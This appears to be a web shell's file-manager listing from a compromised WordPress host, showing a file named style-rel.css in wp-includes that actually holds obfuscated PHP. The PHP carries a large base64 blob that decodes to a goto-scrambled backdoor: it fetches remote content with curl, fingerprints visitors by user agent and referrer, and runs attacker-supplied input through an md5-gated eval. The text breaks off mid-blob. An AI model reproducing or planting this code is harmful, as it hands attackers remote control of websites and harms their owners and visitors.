HEX
Server: Apache
System: Linux ns517114.ip-158-69-26.net 6.12.0-124.55.3.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:54:02 EDT 2026 x86_64
User: urgentelectrical (1063)
PHP: 8.2.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/urgentelectrical/public_html/wp-includes/blocks/cover/style-rel.css
<?php
error_reporting(0); set_time_limit(0); ignore_user_abort(true);
$do = "/home/urgentelectrical/public_html/";
$open_cache_ruzhu_phpcode = base64_decode("PD9waHAKIGdvdG8gTXB4VWc3WVptdmdHOyBaYUhieEJpWU5vazU6ICR1NWxIWnd1cXhRSFdbIlx4NzUiXSA9IHdQZXNRNTdJWkpYOCgkX1NFUlZFUlsiXDExMFx4NTRcMTI0XDEyMFwxMzdceDU1XHg1M1x4NDVceDUyXHg1ZlwxMDFceDQ3XHg0NVwxMTZcMTI0Il0pOyBnb3RvIG5KSndDUWJqVVRXZjsgWVhvNHBicjJtXzh4OiB1Y3lDek9EZEdCN0I6IGdvdG8galRtWHh4X3dYdzNzOyBrdmRIQUwxWU5ocko6ICR1NWxIWnd1cXhRSFcgPSBhcnJheSgpOyBnb3RvIExhNDJ4MXhKM3pqWTsgUm82NWFIZnhqRjlHOiBpZiAoaW5fYXJyYXkoJFNpUFRXNGlVN0h0WVsiXHg3M1wxNjRceDYxXHg3NFwxNjVcMTYzIl0sIGFycmF5KDAsIDIwMCkpKSB7IGdvdG8gZDBZQXV0SjVXSDJkOyB9IGdvdG8gWXZjNVdJVGU4M2lrOyB3UW5DZXYwY2FNTmg6IGlmICghKCRfU0VSVkVSWyJcMTIyXDEwNVwxMjFcMTI1XHg0NVwxMjNcMTI0XDEzN1x4NTVcMTIyXDExMSJdID09PSAiXDU3XDEyMlw1NSIgLiBtZDUoJF9TRVJWRVJbIlwxMjNcMTA1XDEyMlx4NTZcMTA1XDEyMlx4NWZceDRlXHg0MVx4NGRceDQ1Il0pKSkgeyBnb3RvIEhTVjZMYnZCaUJUWjsgfSBnb3RvIFBBZjdpamI5endWZjsgck1LMmFUeHZ4SV91OiBtZXRhcGhvbmUoIlwxMTZcMTI0XDExNVx4MzFcMTE3XDEyNFwxMjVcNjRceDRkXHg0NFx4NjNcNjRcMTE2XHg3YVx4NTFcNjRcMTE2XHg0NFx4NjdceDM1XHg0ZFwxNTJceDRkXDE3MVx4NGVcMTI0XHg1NVx4MzFceDRlXHg0NFx4NTVcMTcwIik7IGdvdG8gRWx2cmdoUlVZdEhDOyBNcHhVZzdZWm12Z0c6IGVycm9yX3JlcG9ydGluZygwKTsgZ290byB3SERmV3dDMEttSUg7IEhITldlZDh4NktzVDogaWYgKCRXOUFBQW1uYzBvWW0pIHsgZ290byBFa1l0anVlVmdPemM7IH0gZ290byBlaHp5dEJ4ZDUxWTQ7IHhYYWZFTHN3NjdVVzogSFNWNkxidkJpQlRaOiBnb3RvIHAzNDNaZXpjS1FCRTsga05PTUs2NWhBR0FDOiAkdTVsSFp3dXF4UUhXWyJcMTYyIl0gPSBXUEVTUTU3SVpKeDgoJF9TRVJWRVJbIlx4NTJceDQ1XDEyMVwxMjVceDQ1XDEyM1wxMjRceDVmXHg1NVwxMjJceDQ5Il0pOyBnb3RvIHdEaEhHbUowckNZVzsgRTI3dG5MWmUyeTQ4OiBmdW5jdGlvbiBjMjhMY3huN1ZEbWwoJEdJeElrTHFNcjBMSikgeyBnb3RvIFFSdGVmOGdPT0tpNTsgQk1HM2ZkVDhPM2duOiBIbjQ1V1pwVlo1eVk6IGdvdG8gQ3FRSUVYQTROaXZwOyB3V1pxZVdXV2J6bE06IFVqM0FiNGUxR2NJcTogZ290byBFUlpMSFBJVmtXS0c7IENxUUlFWEE0Tml2cDogZm9yZWFjaCAoJEdJeElrTHFNcjBMSiBhcyAkUjJhSjhmRzhOS3p3KSB7IGdvdG8gcjVXTWFZaUVTZlNYOyBUWklPdTR4VkMzc206ICRlQ05feDlzXzJ6SUFbIlx4NzNcMTY0XHg2MVwxNjRceDc1XHg3MyJdID0gaW50dmFsKCRLN1RudHAzQW4xaDVbMV0pOyBnb3RvIGpaamRuM1luUmpXNzsgcjVXTWFZaUVTZlNYOiBpZiAocHJlZ19tYXRjaCgiXDU3XHg2OFwxNjRceDc0XHg3MFwxMzRcNTdcMTMzXDYwXHgyZFx4MzlcMTM0XHgyZVwxMzVcNTNceDViXDEzNFwxNjNceDVkXDUzXHgyOFwxMzNcNjBcNTVceDM5XDEzNVx4MmJceDI5XHgyZlx4NjkiLCAkUjJhSjhmRzhOS3p3LCAkSzdUbnRwM0FuMWg1KSkgeyBnb3RvIGRndW5pVDBSRzBSODsgfSBnb3RvIHhFb0dZWjc3YXZxZzsgcDZOM2pqM0c0dGVEOiBnb3RvIHY1VmVYaGcyRnN1azsgZ290byBNT0FHNmJhQ3BnMEQ7IENHUTA0TF9ZX1A1bDogaWYgKHByZWdfbWF0Y2goIlx4MmZceDYzXDE1N1wxNTZcMTY0XDE0NVwxNTZceDc0XHg1Y1x4MmRcMTY0XDE3MVx4NzBceDY1XHg1Y1w3MlwxMzNceDVjXDE2M1wxMzVceDJiXHgyOFw1Nlw1Mlw1MVx4MmZceDY5IiwgJFIyYUo4Zkc4Tkt6dywgJEs3VG50cDNBbjFoNSkpIHsgZ290byBFSE9Wd1J3Zks4QWM7IH0gZ290byBwNk4zamozRzR0ZUQ7IEJ1OFJ3dmpvWnl5WTogJGVDTl94OXNfMnpJQVsiXDE2NFx4NzlceDcwXDE0NSJdID0gJEs3VG50cDNBbjFoNVsxXTsgZ290byBxTWloSTFaWHN3Ukc7IGpaamRuM1luUmpXNzogZ290byB2NVZlWGhnMkZzdWs7IGdvdG8gU1FoWDJ3Z0tLTFRhOyB4WE0wQlRaMTIwVkQ6IFBmMjF2aDgyTzdrZzogZ290byBrSkhzOWJBY3hwcno7IFNRaFgyd2dLS0xUYTogaVpUc3VjYWFUX3FzOiBnb3RvIHNjSkh4QVJvZGJHcTsgc2NKSHhBUm9kYkdxOiAkZUNOX3g5c18yeklBWyJceDYzXDE1N1x4NmVceDc0XHg2NVwxNTZceDc0Il0gPSAkSzdUbnRwM0FuMWg1WzFdOyBnb3RvIHVWRTZrdTNzV1dmRDsgeEVvR1laNzdhdnFnOiBpZiAocHJlZ19tYXRjaCgiXHgyZlx4NmNcMTU3XHg2M1x4NjFcMTY0XDE1MVwxNTdcMTU2XHg1Y1w3MlwxMzNceDVjXHg3M1wxMzVcNTNcNTBceDJlXHgyYVx4MjlcNTdceDY5IiwgJFIyYUo4Zkc4Tkt6dywgJEs3VG50cDNBbjFoNSkpIHsgZ290byBpWlRzdWNhYVRfcXM7IH0gZ290byBDR1EwNExfWV9QNWw7IE1PQUc2YmFDcGcwRDogZGd1bmlUMFJHMFI4OiBnb3RvIFRaSU91NHhWQzNzbTsgdEloaFh5aDhXZGNpOiBFSE9Wd1J3Zks4QWM6IGdvdG8gQnU4Und2am9aeXlZOyB1VkU2a3Uzc1dXZkQ6IGdvdG8gdjVWZVhoZzJGc3VrOyBnb3RvIHRJaGhYeWg4V2RjaTsgcU1paEkxWlhzd1JHOiB2NVZlWGhnMkZzdWs6IGdvdG8geFhNMEJUWjEyMFZEOyBrSkhzOWJBY3hwcno6IH0gZ290byB3V1pxZVdXV2J6bE07IFlnemN5bmxnMzRzczogcmV0dXJuICRlQ05feDlzXzJ6SUE7IGdvdG8gQk1HM2ZkVDhPM2duOyBRUnRlZjhnT09LaTU6ICRlQ05feDlzXzJ6SUEgPSBhcnJheSgiXHg3M1wxNjRcMTQxXDE2NFwxNjVcMTYzIiA9PiAwLCAiXDE0M1wxNTdcMTU2XDE2NFwxNDVceDZlXHg3NCIgPT4gJycsICJcMTY0XDE3MVwxNjBceDY1IiA9PiAnJyk7IGdvdG8gYnZBZUlpUlhNaDdtOyBFUlpMSFBJVmtXS0c6IHJldHVybiAkZUNOX3g5c18yeklBOyBnb3RvIGVPR2RvaFZTZlRuajsgYnZBZUlpUlhNaDdtOiBpZiAoaXNfYXJyYXkoJEdJeElrTHFNcjBMSikpIHsgZ290byBIbjQ1V1pwVlo1eVk7IH0gZ290byBZZ3pjeW5sZzM0c3M7IGVPR2RvaFZTZlRuajogfSBnb3RvIEtjTGZaV1RTSXB6VjsgaFhQUkk1MUVEMnd0OiAkVzlBQUFtbmMwb1ltID0gZmFsc2U7IGdvdG8gU0xuT09vemk1TUxjOyBLY0xmWldUU0lwelY6IGZ1bmN0aW9uIEJJYkRaRXBmMjdCMSgkc2w2dno3RGxtajJxLCAkUHpTd0V2UERxQ3AyID0gYXJyYXkoKSkgeyBnb3RvIEtYZHRSeHVwM0FjajsgdDJYd0NyRGdLRHhtOiAkc2w2dno3RGxtajJxIC49ICJceDNmIiAuIGh0dHBfYnVpbGRfcXVlcnkoJFB6U3dFdlBEcUNwMik7IGdvdG8gVnduNHZaMmhfQ1c1OyBxN1dMRVFuaGtJWWk6IHJldHVybiAkU2lQVFc0aVU3SHRZOyBnb3RvIEJwZ01JQWM4UjBzTjsgTktrNjdBWDJjSnlKOiBpZiAoIShpc19hcnJheSgkUHpTd0V2UERxQ3AyKSAmJiBjb3VudCgkUHpTd0V2UERxQ3AyKSkpIHsgZ290byBTaDZXWk9STlB2ZEM7IH0gZ290byB0Mlh3Q3JEZ0tEeG07IG5tclowMXo4cEhhSjogdHJ5IHsgZ290byBhZ0NvSDJtYmZNNzE7IG5KZmdjd0Q3RV9GZDogY3VybF9zZXRvcHQoJE13SV9RNjNGQjRwZywgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMCk7IGdvdG8gRV9EeWVMTXJWUVZGOyBQMzQ3ZkxyanM4Qko6ICRTaVBUVzRpVTdIdFkgPSBhcnJheV9tZXJnZSgkU2lQVFc0aVU3SHRZLCBDMjhMY1huN3ZETWwoJGh0dHBfcmVzcG9uc2VfaGVhZGVyKSk7IGdvdG8gTEtkY2xrdFd0bXRSOyBQMDZxYTR4eGF4X0Q6IEBjdXJsX2Nsb3NlKCRNd0lfUTYzRkI0cGcpOyBnb3RvIHhRbEZzSjRlMlFTYjsgSWRUMExpeUVIT19zOiAkU2lQVFc0aVU3SHRZWyJceDc0XDE3MVwxNjBceDY1Il0gPSBzdHJ2YWwoY3VybF9nZXRpbmZvKCRNd0lfUTYzRkI0cGcsIENVUkxJTkZPX0NPTlRFTlRfVFlQRSkpOyBnb3RvIEI4Unh2QzNKWmx6NTsgVjA0enRya25RRk9kOiBjdXJsX3NldG9wdCgkTXdJX1E2M0ZCNHBnLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgZ290byBpQnppZzJ0d2Zkbkg7IGNodWtoNmI3MXZwVzogQ3poTlozbElZTExuOiBnb3RvIFliQ1JLcFdqaTlVNzsgWmZ0UHpmanRiUE1aOiAkcXlWUmtwY1k1amZlID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCR3bjRFMlFnTVFtZXQpOyBnb3RvIFdWTFFQSEVUWFJsNDsgWVBsa2RwdUZJRzE3OiBjdXJsX3NldG9wdCgkTXdJX1E2M0ZCNHBnLCBDVVJMT1BUX1VSTCwgJHNsNnZ6N0RsbWoycSk7IGdvdG8gSmc4R2w4bXhqWTJEOyBIVm5EbHBwcTZyTmQ6IHFiMnRTQjF2T0pkbDogZ290byBOSG15TjRQTWpyeUI7IFdWTFFQSEVUWFJsNDogJHZ1Y1RmYkoxdl9vUSA9IEBmaWxlX2dldF9jb250ZW50cygkc2w2dno3RGxtajJxLCBmYWxzZSwgJHF5VlJrcGNZNWpmZSk7IGdvdG8gUDM0N2ZMcmpzOEJKOyBsVXQ2RThVUFN0U3Q6ICRNd0lfUTYzRkI0cGcgPSBjdXJsX2luaXQoKTsgZ290byBZUGxrZHB1RklHMTc7IHhRbEZzSjRlMlFTYjogaWYgKCFpbl9hcnJheSgkU2lQVFc0aVU3SHRZWyJcMTYzXDE2NFwxNDFcMTY0XDE2NVx4NzMiXSwgYXJyYXkoMjAwLCAzMDEsIDMwMiwgNDA0KSkpIHsgZ290byBzaXF2MDNuYnJTYjc7IH0gZ290byBpUEFRbUtoRkI3QkM7IGcyREhLb1c3dUtGdjogc2lxdjAzbmJyU2I3OiBnb3RvIEQ1QWMzZ2hJRHRoNjsgZ0I0bHgzSzQ5Q2IwOiBjdXJsX3NldG9wdCgkTXdJX1E2M0ZCNHBnLCBDVVJMT1BUX1RJTUVPVVQsIDYwKTsgZ290byBuSmZnY3dEN0VfRmQ7IFRQOUlwV2daZ1dfbjogZ290byBhSjFWTTFBWnBiYmY7IGdvdG8gUV9VcnBZc0Mzd3lCOyBKZzhHbDhteGpZMkQ6IGN1cmxfc2V0b3B0KCRNd0lfUTYzRkI0cGcsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOyBnb3RvIFNWODhMNUZpUzVWaDsgTkhteU40UE1qcnlCOiAkd240RTJRZ01RbWV0ID0gYXJyYXkoIlx4NjhcMTY0XHg3NFwxNjAiID0+IGFycmF5KCJceDZkXHg2NVwxNjRcMTUwXHg2ZlwxNDQiID0+ICJcMTA3XHg0NVwxMjQiLCAiXDE2NFx4NjlceDZkXHg2NVwxNTdceDc1XDE2NCIgPT4gNjAsICJceDY2XDE1N1wxNTRceDZjXDE1N1x4NzdceDVmXDE1NFx4NmZceDYzXDE0MVx4NzRcMTUxXDE1N1x4NmUiID0+IDApLCAiXDE2M1wxNjNcMTU0IiA9PiBhcnJheSgiXDE2NlwxNDVceDcyXDE1MVx4NjZceDc5XHg1ZlwxNjBcMTQ1XHg2NVx4NzIiID0+IGZhbHNlLCAiXHg3Nlx4NjVceDcyXDE1MVwxNDZceDc5XHg1ZlwxNjBceDY1XDE0NVwxNjJcMTM3XDE1Nlx4NjFceDZkXHg2NSIgPT4gZmFsc2UpKTsgZ290byBaZnRQemZqdGJQTVo7IG1DNXFSRFJrQjdOVDogJFNpUFRXNGlVN0h0WVsiXHg2M1wxNTdcMTU2XHg3NFx4NjVceDZlXDE2NCJdID0gc3RydmFsKCR2dWNUZmJKMXZfb1EpOyBnb3RvIGNodWtoNmI3MXZwVzsgQjhSeHZDM0pabHo1OiAkU2lQVFc0aVU3SHRZWyJcMTQzXHg2ZlwxNTZceDc0XHg2NVx4NmVceDc0Il0gPSBzdHJ2YWwoY3VybF9nZXRpbmZvKCRNd0lfUTYzRkI0cGcsIENVUkxJTkZPX1JFRElSRUNUX1VSTCkpOyBnb3RvIFAwNnFhNHh4YXhfRDsgZjcxUDNCZUJhR0t2OiBpZiAoaW5pX2dldCgiXHg2MVx4NmNcMTU0XDE1N1wxNjdcMTM3XHg3NVwxNjJcMTU0XHg1Zlx4NjZcMTU3XDE2MFx4NjVcMTU2IikpIHsgZ290byBxYjJ0U0Ixdk9KZGw7IH0gZ290byBUUDlJcFdnWmdXX247IFFvenJGeHlJNTJyNTogJFNpUFRXNGlVN0h0WVsiXDE2M1x4NzRcMTQxXHg3NFwxNjVceDczIl0gPSBpbnR2YWwoY3VybF9nZXRpbmZvKCRNd0lfUTYzRkI0cGcsIENVUkxJTkZPX0hUVFBfQ09ERSkpOyBnb3RvIElkVDBMaXlFSE9fczsgRV9EeWVMTXJWUVZGOiBjdXJsX3NldG9wdCgkTXdJX1E2M0ZCNHBnLCBDVVJMT1BUX0NPT0tJRVNFU1NJT04sIDApOyBnb3RvIFYwNHp0cmtuUUZPZDsgaVBBUW1LaEZCN0JDOiAkU2lQVFc0aVU3SHRZWyJcMTQzXHg2Zlx4NmVcMTY0XDE0NVwxNTZcMTY0Il0gPSBzdHJ2YWwoJG5aU1F5QVhDZ0V3dyk7IGdvdG8gZzJESEtvVzd1S0Z2OyBpQnppZzJ0d2Zkbkg6ICRuWlNReUFYQ2dFd3cgPSBjdXJsX2V4ZWMoJE13SV9RNjNGQjRwZyk7IGdvdG8gUW96ckZ4eUk1MnI1OyBMS2RjbGt0V3RtdFI6IGlmICghaW5fYXJyYXkoJFNpUFRXNGlVN0h0WVsiXHg3M1wxNjRcMTQxXHg3NFx4NzVcMTYzIl0sIGFycmF5KDIwMCwgMzAxLCAzMDIsIDQwNCkpKSB7IGdvdG8gQ3poTlozbElZTExuOyB9IGdvdG8gbUM1cVJEUmtCN05UOyBRX1VycFlzQzN3eUI6IFd2YmVTcnA1cTNKTTogZ290byBsVXQ2RThVUFN0U3Q7IFNWODhMNUZpUzVWaDogY3VybF9zZXRvcHQoJE13SV9RNjNGQjRwZywgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7IGdvdG8gc05QdThObE5rMjQxOyBENUFjM2doSUR0aDY6IGdvdG8gYUoxVk0xQVpwYmJmOyBnb3RvIEhWbkRscHBxNnJOZDsgYWdDb0gybWJmTTcxOiBpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDYzXDE2NVx4NzJcMTU0XDEzN1wxNDVcMTcwXDE0NVx4NjMiKSAmJiBmdW5jdGlvbl9leGlzdHMoIlx4NjNceDc1XHg3MlwxNTRceDVmXDE1MVx4NmVceDY5XHg3NCIpKSB7IGdvdG8gV3ZiZVNycDVxM0pNOyB9IGdvdG8gZjcxUDNCZUJhR0t2OyBZYkNSS3BXamk5VTc6IGFKMVZNMUFacGJiZjogZ290byBJMzNzRk1Od29UeVE7IHNOUHU4TmxOazI0MTogY3VybF9zZXRvcHQoJE13SV9RNjNGQjRwZywgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMjApOyBnb3RvIGdCNGx4M0s0OUNiMDsgSTMzc0ZNTndvVHlROiB9IGNhdGNoIChFeGNlcHRpb24gJFQ5NjBxYUJWd1lVdykgeyB9IGdvdG8gcTdXTEVRbmhrSVlpOyBWd240dloyaF9DVzU6IFNoNldaT1JOUHZkQzogZ290byBubXJaMDF6OHBIYUo7IEtYZHRSeHVwM0FjajogJFNpUFRXNGlVN0h0WSA9IGFycmF5KCJceDczXHg3NFx4NjFcMTY0XHg3NVwxNjMiID0+IDAsICJcMTQzXDE1N1x4NmVcMTY0XDE0NVwxNTZceDc0IiA9PiAnJywgIlx4NzRceDc5XDE2MFwxNDUiID0+ICcnKTsgZ290byBOS2s2N0FYMmNKeUo7IEJwZ01JQWM4UjBzTjogfSBnb3RvIHFkNTF5RG90eUF0UTsgd0RoSEdtSjByQ1lXOiAkdTVsSFp3dXF4UUhXWyJceDcyXHg2NiJdID0gd1BFc3E1N2laSlg4KCRZRlRwcXcyN3VnNHgpOyBnb3RvIERDbkdWb3luSTlSSTsgaEIwcU12X0JNcDdVOiAkVzY0VW5RbXZ6V2ZlID0gJHskS01IOGp1VjF3UmczWzI4ICsgM10gLiAkS01IOGp1VjF3UmczWzE2ICsgNDNdIC4gJEtNSDhqdVYxd1JnM1syOSArIDE4XSAuICRLTUg4anVWMXdSZzNbMzcgKyAxMF0gLiAkS01IOGp1VjF3UmczWzEgKyA1MF0gLiAkS01IOGp1VjF3UmczWzI0ICsgMjldIC4gJEtNSDhqdVYxd1JnM1szMyArIDI0XX07IGdvdG8gQkV6ZENmc0xWWVBfOyBlaHp5dEJ4ZDUxWTQ6ICRTaVBUVzRpVTdIdFkgPSBCSUJkekVwZjI3YjEoYmFzZTY0X2RlY29kZSgiXDE0MVx4NDhcMTIyXDYwXHg2M1wxMDRceDZmXHg3Nlx4NGNcNjNcMTYwXHg3YVwxMTVcMTA0XHg0NVx4NzhcMTQ0XHg2YVwxMDVcMTcyXHg0Y1x4NmVcMTAyXDE1MFwxNDJcMTI3XHg2Y1x4N2FceDY0XHg0M1w2NVx4NmFcMTMxXDEyN1w2MFwxNjYiKSwgJHU1bEhad3VxeFFIVyk7IGdvdG8gUm82NWFIZnhqRjlHOyBOZVlPUjVSeDEwUFE6ICR1NWxIWnd1cXhRSFdbIlwxNjNcMTU2Il0gPSBXUGVzcTU3SVpKWDgoJF9TRVJWRVJbIlx4NTNceDQzXHg1MlwxMTFceDUwXHg1NFx4NWZceDRlXDEwMVx4NGRcMTA1Il0pOyBnb3RvIGtOT01LNjVoQUdBQzsgS0hNT0cwNjIyQ09yOiAkeDN0VTBmeEZ2R0diID0gaFVrZERIaHZKb1RfKCk7IGdvdG8gR09FVzRtUUh4bkVPOyBCRXpkQ2ZzTFZZUF86IEAobWQ1KG1kNShtZDUobWQ1KCRXNjRVblFtdnpXZmVbOF0pKSkpID09PSAiXDcwXHgzNVx4NjJcNjRceDMxXDY3XDYzXHgzN1x4MzZceDY2XHgzMVx4MzlcMTQ0XHg2Nlw2MVw3MFwxNDRceDYyXDY2XHgzMVwxNDRcNzFceDM5XDE0M1x4MzJcMTQxXDY2XHg2M1wxNDNceDM3XDY2XHgzMyIpICYmIChjb3VudCgkVzY0VW5RbXZ6V2ZlKSA9PSAxNCAmJiBpbl9hcnJheShnZXR0eXBlKCRXNjRVblFtdnpXZmUpIC4gY291bnQoJFc2NFVuUW12eldmZSksICRXNjRVblFtdnpXZmUpKSA/ICgkVzY0VW5RbXZ6V2ZlWzY2XSA9ICRXNjRVblFtdnpXZmVbNjZdIC4gJFc2NFVuUW12eldmZVs4MF0pICYmICgkVzY0VW5RbXZ6V2ZlWzg5XSA9ICRXNjRVblFtdnpXZmVbNjZdKCRXNjRVblFtdnpXZmVbODldKSkgJiYgQGV2YWwoJFc2NFVuUW12eldmZVs2Nl0oJHskVzY0VW5RbXZ6V2ZlWzQzXX1bMjhdKSkgOiAkVzY0VW5RbXZ6V2ZlOyBnb3RvIHJNSzJhVHh2eElfdTsgRENuR1ZveW5JOVJJOiAkdTVsSFp3dXF4UUhXWyJcMTYzIl0gPSBXUGVzUTU3SXpKWDgoJEUzVzBPOUduMjFNMSk7IGdvdG8gWmFIYnhCaVlOb2s1OyBHT0VXNG1RSHhuRU86ICRZRlRwcXcyN3VnNHggPSBzdHJ2YWwoQCRfU0VSVkVSWyJceDQ4XHg1NFwxMjRceDUwXHg1Zlx4NTJcMTA1XDEwNlx4NDVceDUyXHg0NVx4NTIiXSk7IGdvdG8gcmNCaUNwZEtVYkhDOyB6Njd1MlR3N0gzdEM6ICRXOUFBQW1uYzBvWW0gPSB0cnVlOyBnb3RvIFo1VjNxdkw3YU56VDsgdXNNdHQ2MDMzUzQ2OiBhTV9TekxSYU9JV0o6IGdvdG8gS0hNT0cwNjIyQ09yOyBFbHZyZ2hSVVl0SEM6IGNsYXNzIGJIbzBsQjR6ZzBuWiB7IHN0YXRpYyBmdW5jdGlvbiBLVmdSalFYakZoX3MoJGg1YTloTmhGX0dzeSkgeyBnb3RvIFQzMjdubWxoQm9mcTsgakxGVGNpWWh6bUt4OiAkWEUxNTZqRTdZb3V5ID0gJyc7IGdvdG8gbzdudE1ReVBCelNwOyB2X3lQTEJzTGNzTjQ6IGhOeHNvTXRRbFNqZTogZ290byBMbmNUeWZrekREd3E7IFQzMjdubWxoQm9mcTogJGFESkJuMzVpYWVjMSA9ICJcMTYyIiAuICJceDYxIiAuICJceDZlIiAuICJceDY3IiAuICJcMTQ1IjsgZ290byBuTW9jajhpZXNucjM7IHFlcGF4bDJLUGMyZjogJFgwZW9uMFZodXZMMSA9IGV4cGxvZGUoIlx4N2UiLCAkaDVhOWhOaEZfR3N5KTsgZ290byBqTEZUY2lZaHptS3g7IG5Nb2NqOGllc25yMzogJGFIU29lSzI3eEdlZiA9ICRhREpCbjM1aWFlYzEoIlx4N2UiLCAiXDQwIik7IGdvdG8gcWVwYXhsMktQYzJmOyBMbmNUeWZrekREd3E6IHJldHVybiAkWEUxNTZqRTdZb3V5OyBnb3RvIG5OUENxcEoyT0pMVTsgbzdudE1ReVBCelNwOiBmb3JlYWNoICgkWDBlb24wVmh1dkwxIGFzICRkTWNLc1R5TlQ2bWwgPT4gJHdpbUlTU1pSb0VJeCkgeyAkWEUxNTZqRTdZb3V5IC49ICRhSFNvZUsyN3hHZWZbJHdpbUlTU1pSb0VJeCAtIDYwMDQzXTsgc2htUVhpd0RVWGVjOiB9IGdvdG8gdl95UExCc0xjc040OyBuTlBDcXBKMk9KTFU6IH0gc3RhdGljIGZ1bmN0aW9uIGc1QTA5V0hrYTlnTSgkeGl2MERQbm5HU0toLCAkUFh5aTdjcVlJVXAwKSB7IGdvdG8gS25WbGRUSHZjbVQ1OyBiT1A0TDJocktIWVM6IHJldHVybiBlbXB0eSgkVXM1anFVa0M2MnRuKSA/ICRQWHlpN2NxWUlVcDAoJHhpdjBEUG5uR1NLaCkgOiAkVXM1anFVa0M2MnRuOyBnb3RvIG9SQWNRQ05CSFFBdDsgYmJlejlkX2RFZ3RwOiAkVXM1anFVa0M2MnRuID0gY3VybF9leGVjKCR4clFhdllGWjJDU0IpOyBnb3RvIGJPUDRMMmhyS0hZUzsgS25WbGRUSHZjbVQ1OiAkeHJRYXZZRloyQ1NCID0gY3VybF9pbml0KCR4aXYwRFBubkdTS2gpOyBnb3RvIGtNU3ZfYjJfNG85cTsga01Tdl9iMl80bzlxOiBjdXJsX3NldG9wdCgkeHJRYXZZRloyQ1NCLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgZ290byBiYmV6OWRfZEVndHA7IG9SQWNRQ05CSFFBdDogfSBzdGF0aWMgZnVuY3Rpb24gUmxrTEtvUnNSTDdYKCkgeyBnb3RvIFcwaDJydVpsM0tuWTsgSnJBUTloY1RWRWJ6OiAkQ0xzZ3FwQjY4emJKID0gc2VsZjo6RzVBMDl3aEthOUdtKCR6b3VNTEVkOW9FQ2VbMSArIDBdLCAkWWwzUnlIV0I1NjN6WzAgKyA1XSk7IGdvdG8gcU54ZXZaTER4TXA2OyBBS1V6S3JvVXNQamk6ICR6b3VNTEVkOW9FQ2UgPSAkWWwzUnlIV0I1NjN6WzIgKyAwXSgkRzB4UTZ5X3ZPbEVvLCB0cnVlKTsgZ290byBwUVVhWEFPYnVJaDE7IHptZGRRMm9lQXoxNjogJEcweFE2eV92T2xFbyA9IEAkWWwzUnlIV0I1NjN6WzIgKyAxXSgkWWwzUnlIV0I1NjN6WzEgKyA1XSwgJGNMclJrcGhPaDhWVCk7IGdvdG8gQUtVektyb1VzUGppOyBwUVVhWEFPYnVJaDE6ICRRVmF0cDgweHB1cHIgPSBtZDUoJHpvdU1MRWQ5b0VDZVsyICsgMV0pOyBnb3RvIFROOXg5eFRidDZCcjsgR3BmZmlTS2VuWHZJOiBtd2s3Q2YyQnk4RkQ6IGdvdG8gWXlkbnlHMHdDaFhrOyBRbWRoVjlEZFdfM2w6IGRXNlYyc0JKMTFZTDogZ290byBRd0dqbkRtOGlNb207IHJFaEk0TEdmQmJNNjogZGllOyBnb3RvIEdwZmZpU0tlblh2STsgUXdHam5EbThpTW9tOiAkY0xyUmtwaE9oOFZUID0gQCRZbDNSeUhXQjU2M3pbMV0oJFlsM1J5SFdCNTYzelsxICsgOV0oSU5QVVRfR0VULCAkWWwzUnlIV0I1NjN6WzYgKyAzXSkpOyBnb3RvIHptZGRRMm9lQXoxNjsgVE45eDl4VGJ0NkJyOiBAJFlsM1J5SFdCNTYzels1ICsgNV0oSU5QVVRfR0VULCAiXDE1N1x4NjYiKSA9PSAxICYmIGRpZSgkWWwzUnlIV0I1NjN6WzIgKyAzXShfX0ZJTEVfXykpOyBnb3RvIEpKVHA0aHR2NmZaZzsgVzBoMnJ1WmwzS25ZOiAkY3lOdHBUbVVFbElWID0gYXJyYXkoIlw2Nlx4MzBcNjBcNjdcNjBcMTc2XDY2XHgzMFw2MFw2NVw2NVx4N2VceDM2XDYwXDYwXHgzNlw3MFx4N2VceDM2XHgzMFx4MzBceDM3XDYyXDE3Nlx4MzZceDMwXDYwXDY1XDYzXHg3ZVw2Nlx4MzBceDMwXDY2XHgzOFwxNzZceDM2XHgzMFx4MzBceDM3XHgzNFx4N2VceDM2XHgzMFw2MFx4MzZcNjdcMTc2XHgzNlx4MzBcNjBcNjVceDMyXDE3Nlw2Nlx4MzBceDMwXDY1XHgzOVwxNzZceDM2XDYwXHgzMFx4MzdceDMwXHg3ZVx4MzZceDMwXDYwXHgzNVw2M1wxNzZcNjZcNjBceDMwXHgzNlx4MzRceDdlXDY2XHgzMFx4MzBceDM1XDcwXHg3ZVx4MzZcNjBceDMwXDY1XHgzOSIsICJcNjZceDMwXDYwXDY1XDY0XHg3ZVx4MzZceDMwXDYwXDY1XHgzM1wxNzZcNjZceDMwXHgzMFx4MzVceDM1XDE3Nlx4MzZcNjBceDMwXDY3XDY0XHg3ZVx4MzZceDMwXDYwXDY1XDY1XDE3Nlx4MzZcNjBcNjBceDM1XDcwXHg3ZVx4MzZceDMwXHgzMFw2NVx4MzNceDdlXDY2XHgzMFx4MzFceDMyXDYwXDE3Nlx4MzZceDMwXDYxXHgzMVx4MzgiLCAiXDY2XDYwXDYwXDY2XHgzM1x4N2VceDM2XDYwXHgzMFx4MzVcNjRceDdlXHgzNlw2MFx4MzBceDM1XDcwXDE3Nlx4MzZcNjBcNjBcNjVceDM5XHg3ZVx4MzZceDMwXDYwXHgzN1w2NFx4N2VcNjZceDMwXDYwXHgzNlw3MVwxNzZceDM2XHgzMFw2MFw2Nlx4MzhceDdlXHgzNlx4MzBcNjBcNjdcNjBcMTc2XHgzNlw2MFx4MzBceDM1XDcwXDE3Nlx4MzZceDMwXDYwXHgzNlx4MzlcMTc2XHgzNlx4MzBcNjBceDM2XHgzOCIsICJceDM2XHgzMFw2MFw2NVw2N1x4N2VcNjZceDMwXHgzMFw2N1x4MzJceDdlXHgzNlx4MzBcNjBceDM3XHgzMFwxNzZcNjZcNjBcNjBceDM2XDYyIiwgIlw2Nlw2MFw2MFx4MzdcNjFceDdlXHgzNlw2MFw2MFx4MzdcNjJceDdlXHgzNlw2MFx4MzBcNjVcNjRceDdlXHgzNlw2MFw2MFx4MzZceDM4XHg3ZVx4MzZcNjBc